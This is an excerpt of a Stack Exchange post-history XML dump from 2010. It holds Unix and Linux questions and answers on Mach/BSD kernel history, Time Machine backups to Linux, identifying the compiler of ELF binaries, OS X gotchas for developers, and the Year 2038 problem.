Tevanian (now at Apple) had come up with a novel idea that could accelerate Unix.   The idea was to use the mmap system call to pass data to be copied from user space to the &quot;servers&quot; implementing the file system.   This idea was essentially a variation of trying to avoid making copies of the same data, but it was pitched as a benefit of micro kernels, even if the feature could be isolated from a micro kernel.&#xD;&#xA;&#xD;&#xA;The benchmarks of this VM-backed faster Unix system is what drove people at Next and at the FSF to pick Mach as the foundation for their kernels.&#xD;&#xA;&#xD;&#xA;Next went with the Mach 2.5 kernel (which was based on either BSD 4.2 or 4.3) and GNU would not actually start on the work for years.   This is what the Nextstep operating systems were using.&#xD;&#xA;&#xD;&#xA;Meanwhile at CMU, work continued on Mach and they finally realized the vision of having multiple servers running on top of a micro kernel with version 3.0.   I am not aware of anyone in the wild being able to run Mach 3.0 as all of the interesting user-level servers used AT&amp;T code so they were considered encumbered, so it remained a research product.&#xD;&#xA;&#xD;&#xA;Around this time the Jolitz team had done a port of 4.3+ BSD to the 386 architecture and published their porting efforts on DrDobbs.   386BSD was not actively maintained and a group emerged to maintain and move 386BSD forward, the NetBSD team.    Internal fights within the NetBSD group caused the first split and FreeBSD was formed out of this.   NetBSD at the time wanted to focus on having a cross-platform BSD, and FreeBSD wanted to focus on having a Unix that did great on x86 platforms.     A little bit later, NetBSD split again due to some other disputes and this lead to the creation of OpenBSD.&#xD;&#xA;&#xD;&#xA;A fork of BSD 4.3 for x86 platforms went commercial with a company called BSDi, and various members of the original Berkeley team worked there and kept good relations with the BSD team at the University. &#xD;&#xA;&#xD;&#xA;AT&amp;T was not amused and started the AT&amp;T vs BSDi lawsuit, which was later expanded to sue the University as well.  The lawsuit was about BSDi using proprietary code from AT&amp;T that had not been rewritten by Berkeley.  This set back BSD compared to the up and coming Linux operating system.    &#xD;&#xA;&#xD;&#xA;Although things were not looking good for the defendants, at some point someone realized that SystemV had incorporated large chunks of BSD code under the BSD license and AT&amp;T had not fulfilled their obligations in the license.    A settlement was reached in which AT&amp;T would not have to pull their product from the market, and the University agreed to rip out any code that could still be based on AT&amp;T code. &#xD;&#xA;&#xD;&#xA;The university then released two versions of BSD 4.4 encumbered and 4.4 lite.   The encumbered version would boot and run, but contained AT&amp;T code.   The lite version did not contain any code from AT&amp;T but did not work.&#xD;&#xA;&#xD;&#xA;The various BSD efforts re-did their work on top of the new 4.4 lite release and had a booting system within months.&#xD;&#xA;&#xD;&#xA;Meanwhile, the Mach 3.0 micro kernel remained not very useful without any of the user-land servers.&#xD;&#xA;&#xD;&#xA;A student from a Scandinavian university (I believe, I might have this wrong) was the first one to create a full Mach 3.0 system with a complete OS based on the 4.4 lite release, I believe this was called &quot;Lites&quot;.   The system worked, but was slow.&#xD;&#xA;&#xD;&#xA;During the 1992-1996 and by now BSD already had an mmap() system call as well as most other Unix systems.   The &quot;micro kernel advantage&quot; that was not there, never really came to fruition.   Next still had a monolithic kernel.   The FSF was still trying to get Mach to build, and not wanting to touch the BSD code or contribute to any of the open source BSD efforts, they kept charging away at a poorly specified kernel vision and they were drowning on RPC protocols for their own kernel.    The micro kernel looked great on paper, but turned out to be over engineered and just made everything slower.&#xD;&#xA;&#xD;&#xA;At this point we also had the Linus vs Andy debate over micro-kernels vs monolithic kernels and the world started to realize that it was just impossible to add all of those extra cycles to a micro kernel and still come ahead of a well designed monolithic kernel. &#xD;&#xA;&#xD;&#xA;Apple had not yet acquired NextStep, but was also starting to look into Mach as a potential kernel for their future operating systems.   They hired the Open Software Foundation to port Linux to the Mach kernel, and this was done out of their Grenoble offices, I believe this was called &quot;mklinux&quot;.  &#xD;&#xA;&#xD;&#xA;When Apple bought Next what they had on their hands was a relatively old Unix foundation, a 4.2 or 4.3 based Unix and by now, not even free software ran well out of the box on those systems.   They hired Jordan Hubbard away from FreeBSD to upgrade their Unix stack.   His team was responsible for upgrading the user land, and it is not a surprise that the MacOS userland was upgraded to the latest versions available on BSD.  &#xD;&#xA;&#xD;&#xA;Apple did switch their Mach from 2.5 to 3.0 at some point, but decided to not go with the micro-kernel approach and instead kept everything in-process.   I have never been able to confirm if Apple used Lites, hired the scandinavian hacker, or if they adopted the 4.4 lite as their OS.  I suspect they did, but I had already moved on to Linux and had stopped tracking the BSD/Mach world.&#xD;&#xA;&#xD;&#xA;There was a rumor in the late 90's that Avie at Apple tried to hire Linus (who was already famous at this point) to work on his baby, but Linus chose to continue working on Linux. &#xD;&#xA;&#xD;&#xA;History aside, this page describes the userland and the Mach/Unix kernel:&#xD;&#xA;&#xD;&#xA;http://developer.apple.com/mac/library/documentation/Darwin/Conceptual/KernelProgramming/Architecture/Architecture.html#//apple_ref/doc/uid/TP30000905-CH1g-CACDAEDC" />
  <row Id="1314" PostHistoryTypeId="2" PostId="714" RevisionGUID="6da61489-91da-4533-92c7-5969a8020c82" CreationDate="2010-08-18T17:29:08.070" UserId="83" Text="There is a wealth of great information in the [Advanced Bash-Scripting Guide][1], and it's frequently updated to stay current.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/LDP/abs/html/" />
  <row Id="1315" PostHistoryTypeId="2" PostId="715" RevisionGUID="b5e4dbf8-3563-4c5d-9539-b843efc76863" CreationDate="2010-08-18T17:33:08.143" UserId="603" Text="I'd recommend Bruce Molay's &quot;Understanding Unix/Linux Programming&quot; (http://wps.prenhall.com/esm_molay_UNIXProg_1/). I had him as an instructor at Harvard, and he was fantastic." />
  <row Id="1316" PostHistoryTypeId="2" PostId="716" RevisionGUID="155c7af2-63a2-4ac5-a953-94abc4464dc5" CreationDate="2010-08-18T17:34:25.643" UserId="85" Text="I have two Macs that I'd like to start backing up using Time Machine, but all of my storage is attached to my Linux file server.&#xD;&#xA;&#xD;&#xA;How can I use my Linux file server (which happens to be running Ubuntu Karmic) as a custom Time Capsule replacement, and have my Macs (running 10.6) automatically back up to it using Time Machine?&#xD;&#xA;&#xD;&#xA;And lastly, is this wise?  Is there any inherent risk in doing this that compromises the whole point of the backup?" />
  <row Id="1317" PostHistoryTypeId="1" PostId="716" RevisionGUID="155c7af2-63a2-4ac5-a953-94abc4464dc5" CreationDate="2010-08-18T17:34:25.643" UserId="85" Text="How can I (and should I) use my Linux file server as a Time Machine backup server for my Macs?" />
  <row Id="1318" PostHistoryTypeId="3" PostId="716" RevisionGUID="155c7af2-63a2-4ac5-a953-94abc4464dc5" CreationDate="2010-08-18T17:34:25.643" UserId="85" Text="éosxàébackupàéfileöserverà" />
  <row Id="1319" PostHistoryTypeId="2" PostId="717" RevisionGUID="a62fb038-4dd4-4ce5-9c89-1409b1c23647" CreationDate="2010-08-18T17:45:26.623" UserDisplayName="OldSpecckledHen" Text="... OCR is more than &quot;only character recognition&quot;.  Image handling, preprocessing - page/layout analysis to find the texts, images, tables or barcodes. For the recognition you have to dela with different fonts, sizes and languages. This is important because to get good results you have to use dictionaries and language definitions. Finally people expect more export options than text -e.g XML, RTF or searchable PDF. There are some commercial options for SDKs, but they are not cheap and for free.&#xD;&#xA;Recently I found a CLI OCR for Linux from ABBYY:  http://www.ocr4linux.com/ - there is a free 100 page trial." />
  <row Id="1320" PostHistoryTypeId="2" PostId="718" RevisionGUID="15a29756-c0da-405c-b91c-5dc8e185d7e8" CreationDate="2010-08-18T17:47:39.630" UserId="4" Text="I use [backintime][1], which is primarily targeted towards Gnome/KDE desktops. However, it can work from the commandline as well.&#xD;&#xA;&#xD;&#xA;I describe backintime as a backup system with &quot;poor man's deduplication&quot;.&#xD;&#xA;&#xD;&#xA;If you were to write your own backup script to use rsync and hardlinks, you would end up with something similar to backintime.&#xD;&#xA;&#xD;&#xA;  * I use cron to kick off the backintime job once per night.&#xD;&#xA;  * As the documentation says: *The real magic is done by rsync (take snapshots and restore), diff (check if somethind changed) and cp (make hardlinks).*&#xD;&#xA;  * backintime can be configured with different schedules. I keep monthly backups for 1 year, weeklies for 1 month, and dailies for 1 week.&#xD;&#xA;  * backintime uses hardlinks. I have 130GB worth of data, and I back this up nightly. It only uses 160GB worth of space on the second drive because of the magic of hardlinks.&#xD;&#xA;  * Restoring data from the backup location is as simple as running `cp /u1/backintime/20100818-000002/backup/etc/rsyslog.conf /etc/rsyslog.conf`. You don't need to use the GUI.&#xD;&#xA;  * On the second drive, the initial copy was expensive (since you can't do hardlinks between two different filesystems), but subsequent copies are fast.&#xD;&#xA;  * I copy data from my primary filesystems to a second filesystem onto a second hot-swappable drive, and periodically rotate the secondary drive.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://backintime.le-web.org/" />
  <row Id="1321" PostHistoryTypeId="2" PostId="719" RevisionGUID="a9f02a2a-8b30-4fb0-ad4d-b8b62898d7ac" CreationDate="2010-08-18T17:58:42.807" UserId="76" Text="Is there some chance to know how a binary was built, under Linux? (and or other Unix)&#xD;&#xA;&#xD;&#xA;Compiler, version, time, flags etc...&#xD;&#xA;&#xD;&#xA;I looked at readelf and couldn't find much, but there might be other ways at analyzing the binary code/section etc...&#xD;&#xA;&#xD;&#xA;Anything you know how to extract?" />
  <row Id="1322" PostHistoryTypeId="1" PostId="719" RevisionGUID="a9f02a2a-8b30-4fb0-ad4d-b8b62898d7ac" CreationDate="2010-08-18T17:58:42.807" UserId="76" Text="Can we get compiler informations from an elf binary?" />
  <row Id="1323" PostHistoryTypeId="3" PostId="719" RevisionGUID="a9f02a2a-8b30-4fb0-ad4d-b8b62898d7ac" CreationDate="2010-08-18T17:58:42.807" UserId="76" Text="élinuxàédebuggingàébinaryàécompilerà" />
  <row Id="1324" PostHistoryTypeId="2" PostId="720" RevisionGUID="ac70f24b-ff7f-49fc-a090-ed5567896a36" CreationDate="2010-08-18T18:15:23.273" UserId="27" Text="Increase your RAM. RAM is inexpensive.  A rule of thumb is, if your swapping at all, you have a problem.&#xD;&#xA;&#xD;&#xA;If your application needs a lot of RAM.  Consider re-writing the application and spreading it across cores/systems instead." />
  <row Id="1325" PostHistoryTypeId="2" PostId="721" RevisionGUID="6a81220f-3e9b-4bf3-afe5-3814ca22b4d0" CreationDate="2010-08-18T18:31:33.537" UserId="609" Text="Open Terminal.app &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ sw_vers&#xD;&#xA;    ProductName:	Mac OS X&#xD;&#xA;    ProductVersion:	10.6.4&#xD;&#xA;    BuildVersion:	10F569&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1326" PostHistoryTypeId="2" PostId="722" RevisionGUID="ab32d3f7-4c87-4d69-80d6-d1734a1e499c" CreationDate="2010-08-18T18:34:09.367" UserId="73" Text="There isn't a universal way, but you can make an educated guess by looking for things only done by one compiler.&#xD;&#xA;&#xD;&#xA;GCC is the easiest; it writes a `.comment` section that contains the GCC version string (the same string you get if you run `gcc --version`). I don't know if there's a way to display it with `readelf`, but with `objdump` it's:&#xD;&#xA;&#xD;&#xA;    objdump -s --section .comment /path/binary" />
  <row Id="1327" PostHistoryTypeId="2" PostId="723" RevisionGUID="d1c8789c-45a2-41e1-96d7-0a4e1c1f94d7" CreationDate="2010-08-18T18:36:16.490" UserId="452" Text="I have used Ubuntu/Fedora/Red Hat/Suse but haven't used OS X at all. If I have to start using OS X regularly, what are the things I should look out for?&#xD;&#xA;&#xD;&#xA;Tools I use are GNU tool chain, C++/Boost, etc." />
  <row Id="1328" PostHistoryTypeId="1" PostId="723" RevisionGUID="d1c8789c-45a2-41e1-96d7-0a4e1c1f94d7" CreationDate="2010-08-18T18:36:16.490" UserId="452" Text="Software developer switching from Linux to OS X, what are the gotchas?" />
  <row Id="1329" PostHistoryTypeId="3" PostId="723" RevisionGUID="d1c8789c-45a2-41e1-96d7-0a4e1c1f94d7" CreationDate="2010-08-18T18:36:16.490" UserId="452" Text="éosxàéfedoraàéubuntuà" />
  <row Id="1330" PostHistoryTypeId="16" PostId="723" RevisionGUID="d1c8789c-45a2-41e1-96d7-0a4e1c1f94d7" CreationDate="2010-08-18T18:36:16.490" UserId="452" />
  <row Id="1331" PostHistoryTypeId="5" PostId="722" RevisionGUID="25c8f2ca-b3da-40ef-b2a8-53026e7a46fd" CreationDate="2010-08-18T18:47:57.090" UserId="73" Comment="added 320 characters in body" Text="There isn't a universal way, but you can make an educated guess by looking for things only done by one compiler.&#xD;&#xA;&#xD;&#xA;GCC is the easiest; it writes a `.comment` section that contains the GCC version string (the same string you get if you run `gcc --version`). I don't know if there's a way to display it with `readelf`, but with `objdump` it's:&#xD;&#xA;&#xD;&#xA;    objdump -s --section .comment /path/binary&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I just realized I ignored the rest of your question. Flags aren't generally saved anywhere; they would be in a comment section most likely, but I've never seen that done. There's a spot in the COFF header for a timestamp, but there's no equivalent in ELF, so I don't think the compile time is available either" />
  <row Id="1332" PostHistoryTypeId="2" PostId="724" RevisionGUID="e0649c76-b384-48fa-a3ce-54c3e3e7ac36" CreationDate="2010-08-18T18:54:54.847" UserId="2282" Text="Does `man -k` work? If so, then:&#xD;&#xA;&#xD;&#xA;    man -k &quot;$@&quot; | cut -f1 -d' ' | xargs man&#xD;&#xA;&#xD;&#xA;might do what you want" />
  <row Id="1333" PostHistoryTypeId="2" PostId="725" RevisionGUID="fa8f483d-ae57-444c-b6d2-50960803824c" CreationDate="2010-08-18T18:59:53.917" UserId="57" Text="You can try using **strings** command. It will create lots of text output by checking it you might guess the compiler.&#xD;&#xA;&#xD;&#xA;`pubuntu@pubuntu:~$ strings  -a a.out |grep -i gcc  &#xD;&#xA;GCC: (Ubuntu 4.4.3-4ubuntu5) 4.4.3 `&#xD;&#xA;&#xD;&#xA;Here i know its compiled with gcc but you can always redirect strings output to file and examine it.  &#xD;&#xA; &#xD;&#xA;There is one very good utility called [peid][1] for windows but I cant find any alternative of it on linux.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.peid.info/" />
  <row Id="1334" PostHistoryTypeId="2" PostId="726" RevisionGUID="d9c3f1c7-0105-4ffe-9d05-d00d925c2f97" CreationDate="2010-08-18T19:04:16.370" UserId="138" Text="I did the same, years ago.  Off the top of my head, then:&#xD;&#xA;&#xD;&#xA; - Linux has the richest userland of any *ix I've used.  You'll probably miss different tools than I did, so no sense getting specific about recommendations for replacements.  Instead, just install &lt;a href=&quot;http://finkproject.org/&quot;&gt;Fink&lt;/a&gt;, first thing.  It's basically Debian for OS X.  Not everything you might want is available through Fink, but a whole lot is.&#xD;&#xA;&#xD;&#xA; - Under Snow Leopard, the default compiler began building 64-bit binaries by default, instead of 32-bit.  One way around this is to specify `gcc-4.0` instead of `gcc`, which is linked to `gcc-4.2`, as that gets you the Leopard compiler.  Another way is to try to remember to add `-m32` to all your CFLAGS, CXXFLAGS, LDFLAGS...&#xD;&#xA;&#xD;&#xA; - Dynamic linkage is vastly different.  If you've been in the habit of writing your `ld` commands by hand instead of letting the compiler build them, or using an intermediary like `libtool`, it's time to break that habit.  You shouldn't have to remember niggly details like this.  Save the brain power for learning programs you can't abstract away with portable mechanisms, such as `otool`.&#xD;&#xA;&#xD;&#xA; - OS X handles the platform compatibility issue differently than Linux.  On a 64-bit Linux where you have to also support 32-bit for whatever reason, you end up with two copies of things like libraries that need to be in both formats.  OS X has the Universal binary concept, which lets you put multiple binaries into a single file.  With it, you can currently have up to 4 platforms supported by a single executable: 32- and 64-bit PowerPC, plus 32- and 64-bit Intel.  It's easy to build Universal binaries with Xcode, but a bit of a pain with command line tools.  There's no avoiding it during this present transition to 64-bit computing, however." />
  <row Id="1335" PostHistoryTypeId="16" PostId="726" RevisionGUID="d9c3f1c7-0105-4ffe-9d05-d00d925c2f97" CreationDate="2010-08-18T19:04:16.370" UserId="-1" />
  <row Id="1339" PostHistoryTypeId="5" PostId="726" RevisionGUID="00976a65-67b3-4bd1-84c2-aee1a8ac6cea" CreationDate="2010-08-18T19:19:43.513" UserId="183" Comment="added 710 characters in body" Text="I did the same, years ago.  Off the top of my head, then:&#xD;&#xA;&#xD;&#xA; * Linux has the richest userland of any *ix I've used.  You'll probably miss different tools than I did, so no sense getting specific about recommendations for replacements.  Instead, just install &lt;a href=&quot;http://finkproject.org/&quot;&gt;Fink&lt;/a&gt;, first thing.  It's basically Debian for OS X.  Not everything you might want is available through Fink, but a whole lot is.&#xD;&#xA;&#xD;&#xA; * Under Snow Leopard, the default compiler began building 64-bit binaries by default, instead of 32-bit.  One way around this is to specify `gcc-4.0` instead of `gcc`, which is linked to `gcc-4.2`, as that gets you the Leopard compiler.  Another way is to try to remember to add `-m32` to all your CFLAGS, CXXFLAGS, LDFLAGS...&#xD;&#xA;&#xD;&#xA; * Dynamic linkage is vastly different.  If you've been in the habit of writing your `ld` commands by hand instead of letting the compiler build them, or using an intermediary like `libtool`, it's time to break that habit.  You shouldn't have to remember niggly details like this.  Save the brain power for learning programs you can't abstract away with portable mechanisms, such as `otool`.&#xD;&#xA;&#xD;&#xA; * OS X handles the platform compatibility issue differently than Linux.  On a 64-bit Linux where you have to also support 32-bit for whatever reason, you end up with two copies of things like libraries that need to be in both formats.  OS X has the Universal binary concept, which lets you put multiple binaries into a single file.  With it, you can currently have up to 4 platforms supported by a single executable: 32- and 64-bit PowerPC, plus 32- and 64-bit Intel.  It's easy to build Universal binaries with Xcode, but a bit of a pain with command line tools.  There's no avoiding it during this present transition to 64-bit computing, however.&#xD;&#xA;&#xD;&#xA; * If you install any libraries through [MacPorts](http://www.macports.org/)(About the best way to go, IMHO), they are installed under `/opt` instead of `/usr` or `/usr/local`.  Add this to your `.profile`/`.bashrc`.&#xD;&#xA;&#xD;&#xA;        # Tell your linker(dyld) where to find MacPorts-installed libs&#xD;&#xA;        export DYLD_LIBRARY_PATH=/opt/local/lib:$DYLD_LIBRARY_PATH&#xD;&#xA;&#xD;&#xA;        # Add /opt to your gcc and g++ include paths&#xD;&#xA;        export C_INCLUDE_PATH=/opt/local/include:$C_INCLUDE_PATH&#xD;&#xA;        export CPLUS_INCLUDE_PATH=/opt/local/include:$CPLUS_INCLUDE_PATH&#xD;&#xA;&#xD;&#xA; * If you're running &lt; OSX 10.6 you need to track down the apropriate version of Xcode at [Apple Developer Connection](http://developer.apple.com/)." />
  <row Id="1340" PostHistoryTypeId="2" PostId="728" RevisionGUID="d42e6518-de31-4296-af07-886d6083e175" CreationDate="2010-08-18T19:27:04.450" UserId="141" Text="There are a few hack-ish options out there, see [here][1], and [here][2].&#xD;&#xA;&#xD;&#xA;But I certainly wouldn't do it. This is a hack, it's not supported by apple in anyway and there is no guarantee that the next OS X update won't break it and if it does you're stuck with your backups in a network share that is pretty much useless at that point; perhaps if you only need the initial backup you'll make do, but remember that time machine backups are incremental, you are very likely not to be able to restore the latest version of your data.&#xD;&#xA;&#xD;&#xA;With some bash $voodoo you might be able to pull it off (getting the initial backup, looking at time stamps, merging...)&#xD;&#xA;&#xD;&#xA;From my point of view you have two options: you either stick with the apple supported solution, may that be local drives for time machine or investing on a time capsule, or you find another way to backup your two macs to your linux server avoiding time machine all together.&#xD;&#xA;&#xD;&#xA;and on that last note I know a lot of people who swear by [superduper][3], and for many years I've used [iBackup][4] which is in reality a glorified GUI for rsync and that gives me some comfort.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.9to5mac.com/time-machine-fix-flux-capacitor-43262455&#xD;&#xA;  [2]: http://lifehacker.com/341704/time-machine-over-the-network-with-itimemachine&#xD;&#xA;  [3]: http://www.shirt-pocket.com/SuperDuper/SuperDuperDescription.html&#xD;&#xA;  [4]: http://www.grapefruit.ch/iBackup/" />
  <row Id="1341" PostHistoryTypeId="5" PostId="726" RevisionGUID="98feee05-7249-4b4e-962e-7863ba1ff219" CreationDate="2010-08-18T19:32:30.693" UserId="183" Comment="added 110 characters in body" Text="I did the same, years ago.  Off the top of my head, then:&#xD;&#xA;&#xD;&#xA; * Linux has the richest userland of any *ix I've used.  You'll probably miss different tools than I did, so no sense getting specific about recommendations for replacements.  Instead, just install &lt;a href=&quot;http://finkproject.org/&quot;&gt;Fink&lt;/a&gt; or [MacPorts](http://www.macports.org/) first thing.  Fink is basically apt-get for OS X.  Not everything you might want is available through Fink, but a whole lot is.  Recently [MacPorts](http://www.macports.org/) has come along taking more of a *BSD Ports aproach.&#xD;&#xA;&#xD;&#xA; * Under Snow Leopard, the default compiler began building 64-bit binaries by default, instead of 32-bit.  One way around this is to specify `gcc-4.0` instead of `gcc`, which is linked to `gcc-4.2`, as that gets you the Leopard compiler.  Another way is to try to remember to add `-m32` to all your CFLAGS, CXXFLAGS, LDFLAGS...&#xD;&#xA;&#xD;&#xA; * Dynamic linkage is vastly different.  If you've been in the habit of writing your `ld` commands by hand instead of letting the compiler build them, or using an intermediary like `libtool`, it's time to break that habit.  You shouldn't have to remember niggly details like this.  Save the brain power for learning programs you can't abstract away with portable mechanisms, such as `otool`.&#xD;&#xA;&#xD;&#xA; * OS X handles the platform compatibility issue differently than Linux.  On a 64-bit Linux where you have to also support 32-bit for whatever reason, you end up with two copies of things like libraries that need to be in both formats.  OS X has the Universal binary concept, which lets you put multiple binaries into a single file.  With it, you can currently have up to 4 platforms supported by a single executable: 32- and 64-bit PowerPC, plus 32- and 64-bit Intel.  It's easy to build Universal binaries with Xcode, but a bit of a pain with command line tools.  There's no avoiding it during this present transition to 64-bit computing, however.&#xD;&#xA;&#xD;&#xA; * If you install any libraries through [MacPorts](http://www.macports.org/), they are installed under `/opt` instead of `/usr` or `/usr/local`.  Add this to your `.profile`/`.bashrc`.&#xD;&#xA;&#xD;&#xA;        # Tell your linker(dyld) where to find MacPorts-installed libs&#xD;&#xA;        export DYLD_LIBRARY_PATH=/opt/local/lib:$DYLD_LIBRARY_PATH&#xD;&#xA;&#xD;&#xA;        # Add /opt to your gcc and g++ include paths&#xD;&#xA;        export C_INCLUDE_PATH=/opt/local/include:$C_INCLUDE_PATH&#xD;&#xA;        export CPLUS_INCLUDE_PATH=/opt/local/include:$CPLUS_INCLUDE_PATH&#xD;&#xA;&#xD;&#xA; * If you're running &lt; OSX 10.6 you need to track down the apropriate version of Xcode at [Apple Developer Connection](http://developer.apple.com/)." />
  <row Id="1342" PostHistoryTypeId="2" PostId="729" RevisionGUID="1b964668-96ff-46f6-8866-82ba77509352" CreationDate="2010-08-18T19:42:59.123" UserId="27" Text="If at all possible, to remove most doubt that it is indeed an OS/driver/card issue, connect the computers together using a cross over cable.  This will remove the switch and other possible networking issues from your equation." />
  <row Id="1343" PostHistoryTypeId="2" PostId="730" RevisionGUID="df15e11d-c086-405b-83fc-e1e610f7364c" CreationDate="2010-08-18T20:12:19.490" UserId="188" Text="Totally unsupported -you gotta pay the Apple tax otherwise- but perfectly doable:&#xD;&#xA;&#xD;&#xA;http://www.kremalicious.com/2008/06/ubuntu-as-mac-file-server-and-time-machine-volume/" />
  <row Id="1344" PostHistoryTypeId="2" PostId="731" RevisionGUID="7a108f80-8976-46e1-9335-c5a019e623dd" CreationDate="2010-08-18T20:16:08.293" UserId="298" Text="HUGE GOTCHA -- Mac OS filesystem is NOT case sensitive.  " />
  <row Id="1345" PostHistoryTypeId="16" PostId="731" RevisionGUID="7a108f80-8976-46e1-9335-c5a019e623dd" CreationDate="2010-08-18T20:16:08.293" UserId="-1" />
  <row Id="1346" PostHistoryTypeId="5" PostId="598" RevisionGUID="b7e26699-988a-4807-94d9-50a29c3e0b89" CreationDate="2010-08-18T20:30:58.990" UserId="414" Comment="tidy" Text="I have a virtual instance of redhat running that I can ssh to from any host on the corporate network.  My ssh session was dropped while running some scripts that may or not have caused me to disconnect.  The who command locally still lists the dropped connection. Reconnecting with ssh starts a whole new session.  Is there a way to connect to the original session?  If not can I kill it?  I have root and physical access.  I was not using screen in the original session.&#xD;&#xA;" />
  <row Id="1347" PostHistoryTypeId="2" PostId="732" RevisionGUID="45907ef7-fd74-4e00-b709-34fcd7862641" CreationDate="2010-08-18T21:01:32.413" UserId="57" Text="my guess is following could be the possible reason for this issue:&#xD;&#xA;&#xD;&#xA; 1.  May be in your vimrc file by mistake someone has set vim to behave like vi.  &#xD;&#xA;    `set compatible`&#xD;&#xA; 2. Your vim is pointing to original vi binary.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " />
  <row Id="1348" PostHistoryTypeId="2" PostId="733" RevisionGUID="ab880533-480b-4f59-bae3-90b7c02853fa" CreationDate="2010-08-18T21:03:17.167" UserId="362" Text="Not such a big deal.&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;During the first Y2K blitz, in which software and hardware vendors were required to certify their products as &quot;Y2K compliant&quot; in order to be sold (I remember network cables on PC Connection being certified Y2K compliant) a lot of companies did detailed audits of everything, by setting clocks in the future and testing.&#xD;&#xA;&#xD;&#xA;At the time, since the cost of testing was so high, they almost always tested with several dates, such as 1/1/99 (some developers may have used 99 as a sentinal), 12/31/99, 1/1/00, the leapness of 2000, 1/19/38, and many others. See [here](http://www.merlyn.demon.co.uk/critdate.htm) for a tedious list.&#xD;&#xA;&#xD;&#xA;Thus I believe that any important software that was around in 1999 will probably not have 2038 bugs, but new software written since then by ignorant programmers might. After the whole Y2K debacle programmers generally became much more aware of date encoding issues so it's unlikely to be as big an impact as Y2K was (which, in itself, was something of an anticlimax)." />
  <row Id="1349" PostHistoryTypeId="5" PostId="677" RevisionGUID="fe120b27-7460-41a0-bbe5-74ed1b185376" CreationDate="2010-08-18T21:03:43.437" UserId="305" Comment="added 2145 characters in body" Text="I tried to use vim on FreeBSD (via ssh on Linux xterm-compatible terminal). However vim behaves similar to vi out-of-box. For example it does not react on delete key, insert F character instead of going up while on insert mode etc.&#xD;&#xA;&#xD;&#xA;On FreeBSD X11 is not installed.&#xD;&#xA;&#xD;&#xA;**Edit**: As asked I post `vim --version`&#xD;&#xA;&#xD;&#xA;    # vim --version&#xD;&#xA;    VIM - Vi IMproved 7.2 (2008 Aug 9, compiled Jul 28 2010 11:48:54)&#xD;&#xA;    Included patches: 1-6, 8-35, 37-48, 50-70, 73, 75-87, 90-92, 94-100, 102-137, 139-149, 151-171,     173-190, 192-193, 195-203, 206-211, 213-215, 217-218, 220-232, 234-246, 251-259, 261-301, 303-319, 321-322, 324-335, 337-351, 353-361, 363, 366-371, 373, 375-376, 378-383, 385-387, 389-398, 401-402, 404-411&#xD;&#xA;    Compiled by root@enterprise.piechotka.com.pl&#xD;&#xA;    Big version without GUI.  Features included (+) or not (-):&#xD;&#xA;    +arabic +autocmd -balloon_eval -browse ++builtin_terms +byte_offset +cindent &#xD;&#xA;    -clientserver -clipboard +cmdline_compl +cmdline_hist +cmdline_info +comments &#xD;&#xA;    +cryptv +cscope +cursorshape +dialog_con +diff +digraphs -dnd -ebcdic &#xD;&#xA;    +emacs_tags +eval +ex_extra +extra_search +farsi +file_in_path +find_in_path &#xD;&#xA;    +float +folding -footer +fork() -gettext -hangul_input +iconv +insert_expand &#xD;&#xA;    +jumplist +keymap +langmap +libcall +linebreak +lispindent +listcmds +localmap &#xD;&#xA;    +menu +mksession +modify_fname +mouse -mouseshape +mouse_dec -mouse_gpm &#xD;&#xA;    -mouse_jsbterm +mouse_netterm +mouse_sysmouse +mouse_xterm +multi_byte &#xD;&#xA;    +multi_lang -mzscheme -netbeans_intg -osfiletype +path_extra -perl +postscript &#xD;&#xA;    +printer -profile -python +quickfix +reltime +rightleft -ruby +scrollbind &#xD;&#xA;    +signs +smartindent -sniff +startuptime +statusline -sun_workshop +syntax &#xD;&#xA;    +tag_binary +tag_old_static -tag_any_white -tcl +terminfo +termresponse &#xD;&#xA;    +textobjects +title -toolbar +user_commands +vertsplit +virtualedit +visual &#xD;&#xA;    +visualextra +viminfo +vreplace +wildignore +wildmenu +windows +writebackup &#xD;&#xA;    -X11 -xfontset -xim -xsmp -xterm_clipboard -xterm_save &#xD;&#xA;       system vimrc file: &quot;$VIM/vimrc&quot;&#xD;&#xA;         user vimrc file: &quot;$HOME/.vimrc&quot;&#xD;&#xA;          user exrc file: &quot;$HOME/.exrc&quot;&#xD;&#xA;      fall-back for $VIM: &quot;/usr/local/share/vim&quot;&#xD;&#xA;    Compilation: cc -c -I. -Iproto -DHAVE_CONFIG_H   -I/usr/local/include  -O2 -pipe -fno-strict-aliasing  -D_FORTIFY_SOURCE=1        &#xD;&#xA;    Linking: cc   -L/usr/local/lib -o vim       -lm -ltermlib -liconv  " />
  <row Id="1350" PostHistoryTypeId="5" PostId="666" RevisionGUID="6926e1b8-b22e-4e36-b3c5-7c4a27745681" CreationDate="2010-08-18T21:05:51.950" UserId="362" Comment="it's a question; edited body" Text="What is the likelihood of [the Year 2038 issue][1] being very problematic?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Year_2038_problem" />
  <row Id="1351" PostHistoryTypeId="2" PostId="734" RevisionGUID="804bb46f-9e9a-4f6a-8b7a-05bceb6a894a" CreationDate="2010-08-18T21:35:27.453" UserId="85" Text="Although Fink and MacPorts are the traditional means of getting unix packages on OS X, I'd recommend checking out a newer tool called `brew` that has worked better for me and messed less with my system, and is much easier to use.  It basically just downloads tarballs and installs to /usr/local, but it automates the whole process very nicely.&#xD;&#xA;&#xD;&#xA;http://mxcl.github.com/homebrew/" />
  <row Id="1352" PostHistoryTypeId="16" PostId="734" RevisionGUID="804bb46f-9e9a-4f6a-8b7a-05bceb6a894a" CreationDate="2010-08-18T21:35:27.453" UserId="-1" />
